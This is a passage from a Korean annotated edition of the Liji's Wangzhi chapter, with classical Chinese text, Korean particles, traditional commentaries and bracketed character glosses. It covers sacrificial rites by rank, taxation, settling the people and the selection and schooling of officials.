其夏殷之祭에 又無文이라 故稱蓋以疑之하니라.\n032. 天子는 祭天地하시고, 諸侯는 祭社稷하고, 大夫는 祭五祀이니라. 天子는 祭天下名山大川하나니, 五嶽은 視三公하고, 四瀆은 視諸侯이니라. 諸侯는 祭名山大川之在其地者이오. 天子諸侯이 祭因國之在其地而無主後者이니라.[634]\n視三公.視諸侯는 謂視其饔餼牢禮之多寡하야 以爲牲器之數也라. 因國은 謂所建國之地이 因先代所都之故墟也라. 今無主祭之子孫則在王畿者는 天子이 祭之하고 在侯邦者는 諸侯이 祭之니, 以其昔嘗有功德於民하야 不宜絶其祀也라.\n[饔:아침밥옹][餼:음식대접희][墟:언덕허]\n○ 周官制度에 云五祀이 見於周禮,禮記,儀禮하고, 雜出於史傳이 多矣라. 獨祭法에 加爲七은 左傳家語에 以爲重,該,修,熙,句龍之五官이라하고 月令에 以爲門,行,戶,竈,中霤이라하니, 然則所謂五祀者이 名雖同而祭各有所主也라. 鄭氏以七祀로 爲周制하고 五祀로 爲商制나 然,大宗伯에 亦云,祭社稷五祀라하고, 儀禮에 士이 疾病에 禱五祀則五祀이 無尊卑隆殺之辨矣라. 愚意,鄭氏이 已是臆說이니 祭法之言이 亦未可深信이로다.\n[竈:부억조(부뚜막,부억귀신][霤:낙수물류]\n馬氏曰天子祭天地諸侯祭社稷大夫祭五祀所以報本反始抑以防僭亂之階也蓋天地者有域之最大者也而天子者域中之所尊也故祭天地社稷者土穀之神也而諸侯者爲天子守土也故祭社稷大夫則有家故祭五祀蓋在上者可以兼下故天子祭天地社稷五祀在下者不可以兼上故諸侯祭社稷而不得祭天地大夫祭五祀而不得祭社稷荀子曰郊止乎天子社止乎諸侯道及乎大夫是也古之爲祀典有功於民則祀之而名山大川者有功於民而民之取材用也蓋天子君天下而其所報者衆故祭天下之名山大川諸侯君一國而所報者寡故祭名山大川之在其地者.\n○ 朱子曰一家之主則一家鬼神屬焉諸侯守一國則一國鬼神屬焉天子有天下則天下鬼神屬焉看來爲天下者這一箇神明是甚麽大如何有些子差忒得若縱欲無度天上許多星辰地下許多山川如何不變怪.\n[麽(마):잘다(微); 무엇; 어찌(何); 어조사(語助詞)麽蟲:자질구레한 벌레]\n[忒(특):변하다; 어긋나다; 틀리다; 의심하다]\n033. 天子는 犆[特]礿하며, 祫禘하며, 祫嘗하며, 祫烝이오.[636]\n祫은 合也라. 其禮이 有二하니 時祭之祫則羣廟之主이 皆升而合食於太祖之廟而毁廟之主이 不與하고, 三年大祫則毁廟之主이 亦與焉하니, 天子之禮이 春礿則特祭者는 各於其廟也요, 禘嘗烝은 皆合食라.\n○ 石梁王氏이 曰特礿者는 春에 物全未成이라 止一時祭而已니 於此時에 不祫也요, 夏에 物稍成이라 可於此時而祫이라. 秋에 物大成이오, 冬에 物畢成이라 皆可祫이라. 故,曰祫禘祫嘗祫烝而礿則特也이니라.\n[犆(직:선 두르다(緣),소(牛)하나특]\n諸侯는 礿則不禘하며, 禘則不嘗하며, 嘗則不烝하며, 烝則不礿이니라.[637]\n南方諸侯는 春祭畢則夏來朝라. 故,闕禘祭하고. 西方諸侯는 夏祭畢而秋來朝라. 故,闕嘗祭하니 四方이 皆然이니라.\n○ 石梁王氏이 曰 諸侯이 歲朝라 爲廢一時之祭는 王事이 重也이니라.\n諸侯는 礿犆하며, 禘一犆一祫하며 嘗祫하며 烝祫이니라.[638]\n犆礿礿犆이 非有異也라. 變文而已니 祫嘗祫烝이 與嘗祫烝祫으로 亦然하다. 諸侯이 所以降於天子者니 禘一犆一祫而已니, 言夏祭之禘이 今歲犆則來歲祫하고, 祫之明年에 又犆이라. 不如天子이 每歲三時를 皆祫也라.\n○ 石梁王氏이 曰 物稍成이 未若大成이오, 其成을 亦未可必이라. 故,夏禘之時에 可祫可犆이오, 不可嘗也요, 秋冬에 物成을 可必이라. 故,此二時에 必可祫이라. 故,不云犆而云嘗祫烝祫하니 此一節은 專爲祫祭發也라.\n○ 愚는 按此章을 先儒이 以爲夏殷之制나, 然禘는 王者之大祭也이어늘 今以爲四時常祭之名은 何歟요? 豈周이 更時祭之名而後에 禘이 專爲大祭歟아? 又周官制度에 云,先王制禮를 必象天道라. 故,月祭는 象月하고, 時享은 象時三年之祫,五年之禘는 象閏이라하고, 又云,王制之言祫은 非三年之制也라 하니라.\n033. 天子는 社稷에 皆大牢요, 諸侯는 社稷에 皆少牢이니. 大夫士는 宗廟之祭를, 有田則祭하고, 無田則薦하고. 庶人은 春薦韭하며, 夏薦麥하며, 秋薦黍하며, 冬薦稻이니. 韭란 以卵이오, 麥을란 以魚요, 黍란 以豚이요, 稻란 以鴈이니라.[639]\n祭이 有常禮하고 有常時하니 薦은 非正祭라. 但遇時物卽薦하나 然,亦不過四時에 各一擧而已라. 註云,祭以首時하고 薦以仲月이라하며 首時者는 四時之孟月也라.\n嚴凌方氏曰牢者圈也以能有所畜故所畜之牲皆曰牢也大牢具牛羊豕焉以其大故曰太少牢則羊豕而已以其小故曰少天子之社稷主天下之土穀故用太牢以祭之諸侯之社稷主一國之土穀故用少牢以祭之此隆穀之別也薦以時物而已祭則備庶物焉備庶物則其禮爲盛非有田者不足以共之也大夫士而有無田者謂諸侯之大夫士而已大夫無田且不祭而庶人得祭於寢者祭於寢其禮略而易備故也且通而言之薦之於神亦可謂之祭也韭之性溫則陽類也故以配卵卵陰物故也麥與黍皆南方之穀亦陽類也故配以魚與豚魚與豚皆陰物也稻爲西方之穀則陰類也故配以鴈鴈陽物故也植物之陽者配以動物之陰植物之陰者配以動物之陽亦使陽不勝陰陰不勝陽而已.\n034. 祭天地之牛는 角이 繭栗이오, 宗廟之牛는 角이 握이오, 賓客之牛는 角이 尺이니라.[641-1]\n如繭如栗은 犢也니라. 握은 謂長不出膚라. 側手爲膚니 四指也라. 賓客之用則取其肥大而已니라.[繭:고치견]\n長樂陳氏曰大禮必簡則小禮必繁簡則內心而貴誠故天地之牛角繭栗繁則外心而貴味故宗廟之牛角握賓客之牛角尺角繭栗非必繭栗也以其過於繭栗則非禮角握非必握也以其過於握則非禮至於角尺亦若是而已.\n諸侯이 無故어든 不殺牛하며, 大夫이 無故이어든 不殺羊하며, 士이 無故이어든 不殺犬豕하며, 庶人이 無故이어든 不食珍이니라.[641-2]\n烹牛羊豕는 必爲鼎實이니 鼎은 非常用之器라. 有禮事則設하니 所以無故不殺也라. 珍之名物은 見內則하고 庶人無故는 亦以非冠昏之禮歟인저.\n035. 庶羞을 不踰牲하며, 燕衣를 不踰祭服하며, 寢을 不踰廟이니라.[642-1]\n羞不踰牲者는 如牲是羊則不以牛肉으로 爲庶羞也이니, 此三者는 皆言薄於奉已요 厚於事神也라.\n石林葉氏曰庶羞常薦而踰牲嫌於備物燕衣常用而踰祭服嫌於事神寢所常安而踰廟嫌於享親故禮皆不與也.\n大夫는 祭器를 不假하며, 祭器를 未成하얀 不造燕器니라.[642-2]\n此一節은 舊在庶人耆老不徒食之後하니 今考其序에 當移在此라. 大夫有田祿則不假借祭器於人하고 無田祿者는 不設祭器則假之可也라. 凡家이 造祭器爲先이오, 養器爲後라.\n036. 古者에 公田을 藉[子夜反]而不稅하며,[643-1]\n孟子이 曰 殷人,七十而助,助者藉也라 하시니, 但借民力하야 以助耕公田而不取其私田之稅라.\n[藉:자:깔개 자리; 깔다(薦); 돕다(助); 빌리다(借); 핑계대다; 온자하다(含容意); 잘 접대하다(厚待)\n:적:어수선하다(雜亂); 성하다(盛); 왁자하다; 드리다(貢獻); 적전(임금이 친히 가는 전지)]\n市를 廛而不稅하며,[643-2]\n廛은 市宅也니 賦其市地之廛而不征其貨也라.[廛:가게전]\n關을 譏而不征하며,[643-3]\n關之設이 但主於譏察異服異言之人而不征其往來貨物之稅也라.\n林麓川澤을 以時로 入而不禁이니라.[644-1]\n山澤采取之物이 其入也이 雖有時나, 然,與民共其利니 卽孟子所謂澤梁無禁也라.\n夫[扶]圭田은 無征이니라.[644-2]\n圭田者는 祿外之田이니 所以供祭祀라. 不稅는 所以厚賢也라. 曰圭者는 潔白之義也라. 周官,制度에 云,圭田이 自卿至士이 皆五十畒라하니 此이 專主祭祀라. 故,無征이나 然王制에 言,大夫士宗廟之祭에 有田則祭,無田則薦이라하고, 孟子이 亦曰惟士無田則亦不祭라 하시니, 旣云皆有田이면 何故又云無田則薦이리오? 以此로 知賜圭田이 亦似有功德則賜圭瓚耳로다.[畒=畝:이량묘(무)][圭:용량단위][瓚:옥술잔]\n用民之力호대 歲不過三日하며,[645-1]\n用民力은 如治城郭塗巷溝渠宮廟之類이니 周禮에 豊年三日中年二日無年則一日而已니 若師旅之事則不拘此制라.\n田里를 不粥[育]하며, 墓地를 不請이니라.[645-2]\n田里를 公家所授니 不可得而粥이니 墓地는 有族葬之序하니 人不得而請求요, 已亦不得以擅與라. 故,爭墓地者墓를 大夫聽其訟焉이니라.[擅:멋대로천.擅斷:자기 단독 의견대로 처단함. 천편(擅便)]\n長樂陳氏曰起一人之繇則百畒不擧起十人之繇則千畒不擧先王知其如此故用民之力歲不過三日所以寬之也周官豊年旬用三日中年旬用二日無年旬用一日則歲不過三日云者非周制也田里鄕遂官之所頒不可以粥墓地墓大夫之所掌不可以請田里不粥則生者無相兼幷而民無憾於養生墓地不請則死者有所安厝而民無憾於送死用民之力義也不過三日仁也頒之田里墓地仁也禁之以不粥不請義也事在於義則輔之以仁事在於仁則處之以義此所以爲良法也. [繇:부역요,까닭유,점사수][畒=畝][頒:구분(나눔)반,큰머리분(많다)][厝:둘조,숫돌착]\n司空이 執度하야 度[待洛反]地居民호대 山川沮[將慮反]澤에 時四時하며 量地遠近하야 興事任力이니,[646]\n書曰司空이 掌邦土라 하니라. 執度度地,量地遠近은 蓋定邑井域郭廬舍之區域也라. 山川沮澤이 有燥濕寒暖之不同하니 以時候其四時하야 知其氣候早晩하야 使居者로 不失寒暖之宜也라. 興事任力은 亦謂公家力役之征也라.\n○ 方氏이 曰 小而水所止曰沮요, 大而水所鍾曰澤이라.\n凡使民호대 任老者之事하고 食[嗣]壯者之食이니라.[647]\n老者이 食少而功亦少이요, 壯者이 功多而食亦多로대 今之使民에 雖少壯이라도 但責以老者之功程하고, 雖老者라도 亦食以少者之飮食은 寬厚之至也라.\n長樂陳氏曰居民山川沮澤所以辨地宜時四時所以候天氣量地遠近興事任力所以均人力書曰司空掌邦土居四民時地利如此而已사空事官也而度地居民者蓋四民各以其職分地而處然後造事則居民者正事之始也夫力出於下食出於上以下益上則不足以上益下則有餘故壯者任以老者之事所以寬其力此所謂事擧其中也老者食以壯者之稍所以豊其食此所謂施從其厚也周官之法上地之入可食九人而其家準以七人與食壯者之食同意家雖七人而以三人爲可任與任老者之事同意\n○ 嚴陵方氏曰山川沮澤之異處則四時所至之氣不能無差故必候天時以異地利焉時則候其時之謂量地遠近將以制邑故也制邑則必興役事興役事則必任民力故繼言興事任力焉.\n040. 凡居民材는 必因天地寒煖燥濕廣谷大川하야 異制니 民生其間者이 異俗하며, 剛柔輕重遲速이 異齊[去聲]하며, 五味이 異和[去聲]하며 器械이 異制하며 衣服이 異宜하니 修其敎하고 不易其俗하며 齊其政하며 不易其宜니라.[648]\n居는 謂儲積以備用이니 如懋遷有無化居之居라. 材者는 夫人日用所須之物이니 如天生五材之材라. 天地之氣이 東南多煖하고, 西北多寒이요. 地勢이 高者必燥하고, 卑者必濕이니 因其地之所宜而爲之備는 如氊裘可以備寒이요, 絺綌可以備暑요. 車以行陸하고, 舟以行水니 此皆因天地所宜也라. 廣谷大川이 自天地初分으로 其形制已不同矣라. 民生異俗은 理有固然이나 其情性之緩急이 亦氣之所禀이 殊也라. 飮食器械衣服之有異를 聖王이 亦豈必强之使同哉아? 惟修其三綱五典之敎하고, 齊其禮樂刑政之用而已니 所謂財成輔相以左右民也라.\n[儲:버금][懋:힘쓸무,성대할무][氊=氈:담요전][絺:가는갈포치][綌:굵은갈포격]\n馬氏曰剛柔輕重遲速異齊雖出於天抑亦地氣之使然也夫居則有寒煖燥濕之殊俗則有廣谷大川之異材則有剛柔遲速之不一至於口之於甘器之於用體之於安亦不可得而一五味者春宜酸夏宜苦秋宜辛冬宜鹹而調之以滑甘此五味之常也其曰異和者言其變也同器械先王之所務而異物則有所禁其曰異制者因其性有剛柔輕重而制之也同衣服先王之所務而異服則有所禁其曰異宜者因天地有寒煖燥濕而制之也敎所以導民俗則因民之所欲也故脩其敎不易其俗不易其俗者不咈其所欲也政所以正民而宜者事得其義之謂也故齊其政不易其宜夫唯脩其敎不易其俗故先王有以省方觀民設敎夫唯齊其政不易其宜故周官司徒有山林其動物宜毛物其植物宜皁物川澤其動物宜鱗物其植物宜膏物也\n[咈:어길불][皁(조):검은 빛(黑色); 마판(櫪); 하인(賤隸); 상수리(櫟實)]\n○ 石林葉氏曰寒煖燥濕天地之氣廣谷大川天地之形有氣與形則生有豊療長短好惡習尙之異此所以脩其敎不易其俗也剛柔輕重遲速者民之性食味器械者民之用器用之便於俗亦不必同此所以齊其政不易其宜也所謂敎者其屬有七具於天而自然者也父子有親兄弟有愛夫婦有別君臣有義長幼有序朋友有信賓客有禮其敎成於人而使然也天雖自然而成乎人者亦必使然故曰脩其敎所謂政者其屬有八所用以相養者也衣服有常飮食有節事爲有度異別有法度量有權數制有等上所用以防淫者也物之相養雖不可齊淫辟亦不可無禁故曰齊其政.\n中國戎夷五方之民이 皆有性也라. 不可推移니.[651]\n憑氏이 曰 五方之民이 以氣稟之不齊로 兼習俗之異尙하니 是以其性이 各隨氣稟之昏明習俗之薄厚而不可推移焉이어니와 若論其本然之性則一而已矣라. 鄭氏이 亦曰 地氣使之然이니라.\n東方曰夷는 被髮文身하야 有不火食者矣며, 南方曰蠻이니 雕題交趾하야 有不火食者矣며, 西方曰戎이니 被髮衣[去聲]皮하야 有不粒食者矣며, 北方曰狄이니 衣[去聲]羽毛穴居하야 有不粒食者矣니라.[652-1]\n雕는 刻也요, 題는 額也니, 刻其額,以丹靑涅之라. 交趾는 足拇指相向也라. 東南地氣煖하니 故,有不火食者이요, 西北地寒하야 少五穀하니 故,有不粒食者라.\n[雕:독수리조][涅:개흙날,극낙갈녈][趾:발지][拇:엄지무][狄:북방민족적]\n中國夷蠻戎狄이 皆有安居와 和味와 宜服과 利用과 備器이니라.[652-2]\n俗雖不同이나 亦皆隨地以資其生하야 無不足也이라.\n五方之民이 言語이 不通하고, 嗜欲이 不同이라. 達其志하며, 通其欲이니, 東方曰寄요, 南方曰象이요, 西方曰狄鞮[低]이오, 北方曰譯이라.[653]\n方氏이 曰 以言語之不通也라 則必達其志요, 以嗜欲之不同也라 則必通其欲이니, 必欲達其志通其欲인대 非寄象鞮譯則不可라. 故,先王이 設官以掌之하니 寄는 言能寓風俗之異於此요, 象은 言能倣象風俗之異於彼요, 鞮는 則欲別其服飾之異요, 譯은 則欲辨其言語之異니, 周官通謂之象胥而世俗則通謂之譯也라.\n[鞮:가죽신제][譯:번역역][胥:서로서胥謀(돕다,쌓다.胥吏)][倣:본뜰방][逖:멀적]\n○ 劉氏이 曰 此四者이 皆主通遠人言語之官이니 寄者는 寓也이니 以其言之難通이라. 如寄託其意於事物而後能通之요, 象은 像也니, 如以意倣像其形似而通之니, 周官象胥이 是也라. 狄은 猶逖也요, 鞮는 戎狄屨名이니 猶履也라. 遠履其事而知其言意之所在而通之니 周官鞮履氏,亦以通其聲歌而以舞者所履로 爲名이니라. 譯은 釋也니, 猶言謄也라. 謂以彼此言語로 相謄釋而通之也이니, 越裳氏重九譯而朝이 是也라.\n嚴能方氏曰夷以其易而無文蠻以其小而有屬戎以其剛狄以其勇於題曰雕於身曰文互言之矣安居若所居異俗是矣和味若五味異和是矣宜服若衣服異宜是矣備器若器械異制是矣利用言所利之用謂居山不以魚鰲爲禮居澤不以鹿豕爲禮是矣.\n○ 馬氏曰性受於天則同而中國戎夷有若天地之降者抑亦地氣之使然也東者陽氣之發而南者陽氣之所積蓋陽之氣熟有可不火食者矣西者陰氣之發而北者陰氣之所積蓋陰主乎殺而五穀不生有可不粒食者矣志與欲言語之蘊言語者志欲之寓達其志通其欲必在於言語之際故古者有道言語之官謂之寄象鞮譯. [蘊:쌓을온]\n041. 凡居民은 量地하야 以制邑하고, 度[待洛反]地하야, 以居民하야, 地邑民居를 必參相得也이니라.[655-1]\n九夫이 爲井이오, 四井이 爲邑이니 田有常制하고 民有定居則無偏而不擧之弊라. 地也邑也居也三者이 旣相得則由小以推之大而通天下皆相得矣니 此所謂井田之良法也라.\n無曠土하며, 無游民하며, 食節事時하며, 民咸安其居樂[洛]事勸功하며, 尊君親上한 然後에야 興學이니라.[655-2]\n劉氏이 曰 富而後敎는 理勢當然이니 若球死恐不贍則必疾視其上而欲與偕亡矣리니 雖欲興學이나 其可得乎아? 此篇에 自分田,制祿,命官,論材,朝聘,巡守,行賞罰,設國學,爲田漁,制國用,廣儲蓄,修葬祭,定賦役,安邇人,來遠人,使中國,五方,各得其所而養生喪死無憾이 是王道之始也라. 至此則君道이 旣得而民德當新이라. 然後,立鄕學以敎民而興其賢能이니 下文司徒修六禮以下,至庶人耆老不徒食이 皆化民成俗之事이니 是王道之成也라. 後段自方一里者爲田九百畒以下至篇終이 是王制傳文이라.\n[贍:넉넉할섬,규율할섬][偕:함께해][畒=畝아랑묘(무)]\n長樂陳氏曰先王之於民居之然後養之養之然後敎之量地制邑以至必參相得者居之也無曠土以至尊君親上養之也然後興學敎之也蓋人之生莫不有親親長長之良心養其良心而不䧟溺之則由其親親以至於親上由其長長而至於尊君則尊君親上天地之道也然後興學裁成天地之道也\n[䧟=陷의譌字]\n○ 嚴陵方氏曰量猶龠合升斗斛五量之所量以量其多少度猶分寸尺丈引五度之所度以度其長短故多少足以知其所容長端足以知其所至故於制邑之地曰量於居民之地曰度然邑制之所容莫非民民居之所至莫非邑則邑可言度居亦可言量矣兩之爲並三之爲參地也民也長短多少不可相失也無曠土則地無遺利無游民則人無遺力曠言虛而無墾闢之功游言散而無興作之業也食節則無不足之患事時則無不及之務居民之道亦期其如此而而故效至於民咸安其居也樂事則不至於勞若勸功則不由於勉强尊君則爲民者有遜志親上則在下者無離心上則不止於君凡在上者皆是也敎不可一日廢必待樂事勸功尊君親上然後興學者則以至此然後敎學之道可致其詳故也且禮樂之敎豈一日之所可無哉然制作必在於治定功成之後者亦此之意也\n[龠龠合:穀量의 적음 (漢書·律歷志 : 合龠爲合, 十合爲升, 十升爲斗, 十斗爲斛, 而五量嘉矣)] [斛(곡):十斗][墾개간할간][闢:역벽]\n042. 司徒이 修六禮하야 以節民性하며, 明七敎하야 以興民德하며. 齊八政하야 以防淫하며, 一道德하야 以同俗하며. 養耆老하야 以致孝하며, 恤孤獨하야 以逮不足하며. 上賢하야 以崇德하며, 簡不肖하야 以絀惡하나니라.[658]\n此는 鄕學敎民取士之法이니 而大司徒는 則總其政令者也라. 六禮,七敎,八政은 見篇末하니 皆道德之用也니 道德則其體也라. 體旣一則俗無不同矣니라.\n[絀(출:꿰매다,물러나다)(굴:굽다)]\n嚴陵方氏曰禮惡乎壞則六禮其可以不脩敎惡乎隱則七敎其可以不明性非禮以節之則易以流故脩六禮以節民性德非敎以興之則易以廢故明七敎以興民德政以正之其可以差忒乎則八政在乎齊矣道者人所共由德者人所同得其可以二乎則道德在乎一矣齊八政所以使之無過行故曰防淫一道德所以使之無異習故曰同俗養耆老則推愛親之心於是爲至恤孤獨則損有餘之心無所不及且六十曰耆七十曰老耆老在所養則耄期固可知矣無父曰孤無子曰獨孤獨在所恤則鰥寡固可知矣賢者難於進故上之不肖者惡其雜故簡之.\n[忒(특):병하다,어긋나다,틀리다,의심하다][鰥:환어환(홀아비,앓다)鰥居:홀아비로 삶]\n命鄕하야 簡不帥敎者하야 以告하야든. 耆老이 皆朝于庠하야, 元日에 習射上功하고, 習鄕上齒하거든. 大司徒이 帥國之俊士하야 與[去聲]執事焉이니,[659]\n此下는 言簡不肖以絀惡之事라. 鄕畿內六鄕也니 在遠郊之內하니 每鄕萬二千五百家이니 庠則鄕之學也라. 耆老는 鄕中致仕之卿大夫也라. 元日은 所擇之善日也라. 期日이 定則耆老이 皆來會聚하야 於是에 行射禮與鄕飮酒之禮하니 射이 以中爲上이라. 故,曰 上功이요. 鄕飮則序年之高下라. 故,曰 上齒라. 大司徒는 敎官之長也라. 率其俊秀者하야 與執禮事는 蓋欲使不帥敎之人으로 得於觀感而改過,以從善也라.\n[絀(출:꿰매다,물러나다)(굴:굽다)]\n不變이어든, 命國之右鄕하야 簡不帥敎者하야 移之左하고, 命國之左鄕하야 簡不帥敎者하야 移之右하고, 如初禮하며.[660]\n左右對移는 以易其藏修游息之所하고 新其師友講切之方하야 庶幾其變也라.\n不變이어든, 移之郊하고, 如初禮하며. 不變이어든, 移之遂하고, 如初禮하며. 不變이어든, 屛[丙]之遠方하야, 終身不齒니라.[661]\n四郊는 去國百里니, 在鄕界之外요. 遂는 又在遠郊之外니 蓋示之以漸遠之意也라. 四次示之以禮敎而猶不悛焉則其人이 終不可與入德矣라. 於是에 乃屛棄之라.\n[悛(전):改,止,次,責心,뉘우치다(悔)]\n石林葉氏曰古者輕進人以善重絶人以惡一鄕以爲不帥敎則無往而不爲惡也然而耆老朝于屛習鄕射以敎之欲其改悔以從善猶不知帥而後移之左右移之鄕遂終至於不帥敎則屛之遠方所以重絶其爲惡也雖然射以觀德不曰德而曰功鄕飮酒以行禮不曰禮而曰齒何也蓋中多者以爲勝以勝不勝則是有功者爲上飮酒以正齒位長者坐而幼者立以聽役則是有齒者爲上上其有功則人知心平體正之爲德上其有齒則人知長幼尊卑之爲禮此賢者所以勸於爲善而不肖懲於爲惡.\n命鄕하야 論秀士하야 升之司徒하나니 曰選[去聲]士요. 司徒이 論選士之秀者하야 而升之學하나니 曰俊士이니,[662]\n此는 言上賢崇德之事라.\n○ 劉氏이 曰 論者는 述其德藝而保擧之也라. 苗之穎出曰秀라. 大司徒이 命鄕大夫하야 論述鄕學之士才德穎出於同背者而禮賓之升其人於司徒이어든 司徒이 考試之하야 量才而用之하야 爲鄕遂之吏曰選士이니 選者는 擇而用之也요, 其有才德이 又穎出於選士하야 不安於小成而願升國學者이어든 司徒이 論述其美而擧升之於國學曰俊士이니 俊者才過千人之名也라.\n升於司徒者는 不征於鄕하고, 升於學者는 不征於司徒하나니, 曰造士라.[663]\n旣升於司徒則免鄕之徭役而猶給徭役於司徒也요, 及升國學則幷免司徒之役矣라. 造者는 成也니 言成就其才德也라.\n[徭(요):구실,부역,부리다,役事]\n嚴陵方氏曰秀言秀而有所出造言造而有所成選言美而可擇俊言敏而可用升之司徒曰選士以其猶在所擇故也升之學者曰俊士以其皆在所用苦也秀而爲選士則出於一鄕之士秀而爲俊士則出於六鄕之士有選士之造者有俊士之造者選士之造不征於鄕俊士之造不征於司徒此其別也不征者所以優賢者也.\n樂正이 崇四術하야, 立四敎하야. 順先王詩書禮樂하야 以造士하나니. 春秋에 敎以禮樂하고, 冬夏에 敎以詩書이니라.[664]\n此以下는 言國學,敎國子民俊及取賢才之法하니 樂正이 掌其敎하고, 司馬則掌選法也라. 術者는 道路之名이니 言詩書禮樂四者之敎이 乃入德之路라. 故,言術也라. 文王世子에 言春誦夏絃이라하니 與此不同者는 古人之敎이 雖曰四時에 各有所習이나 其實은 亦未必截然棄彼而習此이니 恐亦互言耳이라. 非春秋에 不可敎詩書요, 冬夏에 不可敎禮樂也이니 舊註陰陽之說이 似爲拘泥로다.\n[截(절):끊다.언변좋다]\n王大子와 王子와 羣后之大子와 卿大夫元士之適子와 國之俊選이 皆造焉하나니. 凡入學은 以齒니라.[665]\n皆造는 皆來受敎于樂正也라. 惟次長幼之序요 不分貴賤之等이라.\n嚴陵方氏曰禮者體也故於秋敎之蓋秋主揫歛所以成體故也樂者樂也故於春敎之蓋春主發散所以爲樂故也詩者言也故於夏敎之蓋言爲事之文夏與物交而成文故也書者事也故於冬敎之蓋事爲言止實冬與物辨而反實故也則順之之道又有見於此凡言春秋必以春爲前者先後之序也然誦亦詩也弦亦樂也而文王世子乃言春誦夏弦又何也蓋弦誦者詩樂之用詩樂者弦誦之體方言其體苦以樂爲先方言其用故以誦爲先其實四者以其陽類故敎之詔之皆於春夏而已春之敎樂未始無詩要之以樂爲主爾夏之敎詩非無樂也要之以詩爲主爾弦之與誦其義亦猶是也故文王世子弦誦則一詔之以大師書禮則或詔之以典書者或詔之以執禮者也於春夏通而敎之秋冬別而敎之者順陽交陰辨之義故也此則一敎之以樂正者以夏殷之制略未若周之制詳故也大子適子也大則以大言之也適子大而庶子小故爲之大子諸侯有君道故謂之后然非一人也故以羣加之天子之子亦謂之大子則以特大於天下之子諸侯之世子亦謂之大子則以特大於一國之子而已名之以大雖同所以名之以大則異也至於卿大夫之與元士則全乎臣矣其子不足以大言之故曰適子而已自王大子以至於國之俊選皆造焉者皆從其詩書禮樂之敎故也天子之子則適庶皆與諸侯而下則庶子不與者隆殺之別也選士方升於司徒亦得與在學之敎者敎無內外之別故也則與帥之而執事以激羣衆之時異矣故彼特曰俊士而已學所以明人倫人倫之大莫先乎孝弟故入學者必以齒曰凡則無貴賤皆以齒矣然以大子而與俊選相爲齒所謂行一物而三善皆得是也..\n[揫(추):묶다,모으다,가늘다][歛(감):탐하다,구걸하다][詔(조):조서,가르치다,고하다.(소):소개紹]\n將出學에 小胥와 大胥와 小樂,正과이 簡不帥敎者하야, 以告于大樂.正하야든, 大樂正이 以告于王하야든, 王이 命三公九卿大夫元士하야 皆入學하고. 不變이어든, 王이 親視學하고. 不變이어든, 王이 三日을 不擧하고, 屛之遠方하나니, 西方曰棘이오, 東方曰寄니, 終身不齒하나니라.[667]\n古之敎者이 九年而大成하니 出學은 九年之期也라. 小胥大胥는 皆樂官之屬이라. 鄭注에 以棘爲僰하고 又以僰訓偪하니 僰本西戎地名이라. 愚는 謂不若讀如本字이니 急也니, 欲其遷善之速也요, 寄者는 寓也이니, 暫寓而終歸之意니, 蓋雖屛之하야 終身不齒나 然,猶爲此名하야 以示不忍終棄之意하니 蓋國子이 皆世族之親이니 與庶人踈賤者,異라. 故,親親而有望焉이니라.\n[棘:가시나무극,큰창극][僰:오랑캐북.犍爲蠻][偪:다가올핍]\n○ 方氏이 曰 賤者는 至於四不變然後에 屛之하고 貴者는 止於二不變,遂屛之者는 陳氏이 謂先王이 以衆庶之家이 爲易治요, 世祿之家이 爲難化이니 以其易治也라. 故,鄕遂之所考이 常在三年大比之時하고, 以其難化也라. 故, 國子之出學이 常在九年大成之後하니 以三年之近而考焉이라. 故,必四不變而後屛之하고, 以九年之遠而簡焉이라. 則雖二不變屛之可也이니라.\n○ 疏曰周이 立四代之學於國而以有虞氏之庠으로 爲鄕學하니라.\n長樂陳氏曰聖人之有天下也以學敎爲朝廷之大政使大子齒於俊選使樂正磨其性情必順先王詩書禮樂以性其情然後已也不變者九年則雖王子亦屛遠方其公於敎化而不私其子則凡在學者孰敢不性其情以蹈於中和之域哉此三代之王所以後世無及也\n大樂正이 論造士之秀者하야, 以告于王하고, 而升諸司馬하나니, 曰進士라.[669-1]\n疏曰司馬이 掌爵祿하니 但入仕者를 皆司馬이 主之라.\n司馬이 辨論官材하나니 論進士之賢者하야, 以告於王而定其論이니. 論定然後에 官之하고, 任官然後에 爵之하고, 位定然後에 祿之니라.[669-2]\n劉氏이 曰古者鄕學에 敎庶人하고 國學에 敎國子及庶人之俊而其仕進이 有二道하니 鄕學秀者之升曰選士요, 國學秀者之升曰進士이니, 其選士者는 不過用爲鄕遂之吏而選用之權이 在司徒也요, 其進士則必命爲朝廷之官而爵祿之定이 其權이 皆在大司馬하니 此이 鄕學國學,敎選之異이 所以爲世家編戶之別이나, 然,庶人仕進이 亦是二道이니 可爲選士者는 司徒이 試用之하니 此其一也요, 司徒이 升之國學則論選之法이 與國子弟同矣니 此其二也라.\n嚴陵方氏曰鄕論秀士而升之司徒司徒論選士而升之學所以屬于大樂正也故大樂正又論造士之秀以告于王而升諸司馬則以將使之臨政故隸於政官之長也以其成材將使之臨政則可以進於王所故以進士名之司馬辨論官材者將使之臨政則必隨其大小而官之故曰官材定其論則賢否之理各止於一矣前曰造士之秀後曰進士之賢何也秀特有才之稱賢則有德之稱此輕重之別若司道司馬之類所謂官若公卿大夫所謂爵若或食九人或食八人所謂祿官所以居之爵所以貴之祿所以富之也官非賤者之可居故旣官之必爵之爵之矣宜有以養其廉故旣爵之必祿之其序如此.\n大夫이 廢其事이어든, 終身不仕하고, 死커든 以士禮로 葬之하나니라.[671]\n廢其事는 如戰陳無勇而敗國殄民하며 或荒淫失行而悖常亂俗이니 生則擯棄하고 死則貶降이니라.\n嚴陵方氏曰廢其事謂居大夫之位而不能興大夫之事也終身不仕則不特貶之於其始而又貶之於其終也死以士禮葬之則不特貶之於其生而又貶之於其死也夫終身不仕則與民同耳猶以士禮葬之者以其曾居大夫之位故也然是法也上不及於公卿下不及於士擧中以該之也.\n有發이어든 則命大司徒하야 敎士以車甲이니라.[671]\n發은 師旅之役也이라. ○ 方氏이 曰 先王設官이 未嘗不辨호대 亦未嘗不通하니 司徒掌敎,司馬掌政은 是이 分職而辨之也요, 有發則司徒이 敎士以車甲하고 造士則司馬이 辨論官材하야 是이 聮 事而通之也라.\n延平周氏曰辨論官材責之司馬敎習車甲責之司徒何也先王之用人非有成材不取唯其有成材則責之以事而無不能也又況司馬掌政典則其所辨論官材者豈特文而已司馬掌敎典則其所敎習者豈特武而已此文武所以混爲一途也\n○ 李氏曰司徒敎士則使司馬論其材故出任之爲比長鄕大夫伍長軍將其材無不宜司馬治軍則使司徒敎其事故入以之爲比閭族黨州鄕伍兩率旅軍帥其事無不治先王之取人治民未嘗不如此.\n凡執技는 論力하야, 適四方이니 